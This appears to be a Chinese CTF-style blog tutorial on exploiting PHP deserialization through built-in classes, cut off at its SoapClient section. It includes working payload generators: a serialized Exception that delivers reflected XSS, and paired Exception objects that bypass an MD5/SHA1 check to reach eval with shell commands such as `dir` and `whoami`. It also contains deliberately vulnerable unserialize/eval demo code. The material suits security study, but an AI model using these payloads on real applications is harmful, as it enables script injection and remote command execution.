沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

PHP中原生类的利用

0x00 前言


一个星期,都没有结束php反序列化的知识的补充,可以说是一条大懒狗了。不过也好在半推半就的学到了这里,写完这篇文章后,就可以学点别的了(😅,结果可能还是别的语言的反序列化)。今天星期五,12点熄灯,但是我却有点不在状态,即使中间去上了个厕所和洗澡,也没找回状态🤣。现在是晚上十一点了,为了不让自己拖拉着不写(开了头,强迫症就想把它写完),所以赶快乘着还有最后一小时,写一个开头。另外,我在网上,只找到whoami大佬总结的总结的非常详细和全面,所以可能本文就类似于是对他文章的笔记了(侵删)。结果下周星期二才开始写,懒🐕

0x02 原生类


总而言之,就是php中自带的类了,因为里面也有许多魔术方法,所以在我们反序列化漏洞找不到利用的类时,可以进行利用。下面是一个脚本,可以帮助我们找到含有特有魔法变量的原生类:

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 

有挺多的,这里就拿几个别人发掘的来讲吧,毕竟我也发掘不出来🤣。

1.Error和Exception

Error用于PHP代码的错误处理,而Exception则用于异常处理,关于PHP中错误与异常的区别与联系,因为对文本用处不大,所以这里就不详细阐述,如果有兴趣的话,可以点击这个链接🔗(PHP 错误与异常 - SegmentFault 思否)或者自行了解。

Error是从PHP7才引入,Exception是从PHP5开始引入,这两个类中都有__tostring的魔术方法,但需要开启PHP的报错信息(display_errors, 默认打开),下面的demo将展示如何利用。

进行xss

下面是一个demo:

<?php
$test = $_GET['payload'];
echo unserialize($test);
?>

这里有反序列化,但是并没有可以利用的类,所以我们的原生类就派上用场了,由于原生类是PHP自带的,即使代码中没有类的声明等,我们依然可以进行反序列化。下面是payload的构造:

<?php
    $payload = new Exception('<script>alert("hacking")</script>');
    echo urlencode(serialize($payload));
?>

接着,我们将得到的payload进行传参测试:

image-20210420150643059

成功的实现了反射型XSS攻击…

hash比较的绕过

<?php
class demo{
    public $str1;
    public $str2;

    public function __construct()
    {
        $this->str1 = "hack me if u can";
        $this->str2 = "what is 0xb";
    }

    public function __wakeup()
    {
        if($this->str1 != $this->str2 && 
        md5($this->str1) === md5($this->str2) && 
        sha1($this->str1) === sha1($this->str2)){
            eval($this->str1);
        }
    }
    
}

$test = $_GET['payload'];
unserialize($test);
?>

上面的demo中,存在反序列化,而且有一个可供利用的类,且类中有带有危险函数的魔术方法,因此,我们似乎可以直接利用这个类进行反序列化漏洞的利用,进而实现命令执行。然而值得注意的是,上文中的利用需要绕过哈希的强比较;在基础的CTF中,我们常常可以直接利用数组绕过,但这里又要使用使用它进行命令执行,所以我们不能把他变成数组。那我们要怎么绕过呢?请看下面的demo:

<?php
$a = new Exception("foobar",1);$b = new Exception("foobar",2);//Error类与此类似
echo $a;
echo "\r\n==================================\r\n";

echo $b;
echo "\r\n==================================\r\n";

if($a!=$b&&md5($a) === md5($b)){
    echo "WOW U CAN REALLY HACK";
}
?>

其结果如图所示:

image-20210420162328812

可以看到,当这两个类的创建,在同一行时并且传入的message一样后面的一个参数不一样时,PHP判定两者不同,但其调用**__tostring的输出结果**(echo与md5皆会触发__tostring)是相同的,所以我们就可以利用这一点,绕过哈希比较,并且进行命令执行。

之所以能进行命令执行,是因为eval同样会触发__tostring,返回上图中类似的字符串,如果此时我们把上文的”foobar”改为'?><?=`whoami`',就会返回下图的字符串:

大无语,因为Exception的返回值是单引号,然后由于种种原因,使其在eval中无法正确解析,会有单引号逃逸。也有可能是我太菜了,不知道怎么闭合,如果有大佬会,请联系我,呜呜

以下就采用Error类,进行利用的演示了

究极大无语事件,以上无法执行的结果是我用php的命令模式在终端得到结果,然而如果在Web上是可以成功执行的,所以还是继续使用Exception类

终极大无语事件,最后我发现,这是php的版本问题,在PHP5下,Exception类的返回值是由单引号的,而7却没有,下图展示两种版本下的区别

image-20210420210832956

下图为PHP7:

image-20210420211529213

所以我们可以利用这两个内置类(PHP7下)来对上文的demo进行利用,payload的构造如下:

<?php
class demo{
    public $str1;
    public $str2;

    public function __construct()
    {
        $this->str1 = new Exception('?><?=`dir`?>', 1);$this->str2 = new Exception('?><?=`dir`?>', 2);
    }
}
echo urlencode(serialize(new demo()));
?>

传参结果如下:
image-20210420221959695

2. SoapClient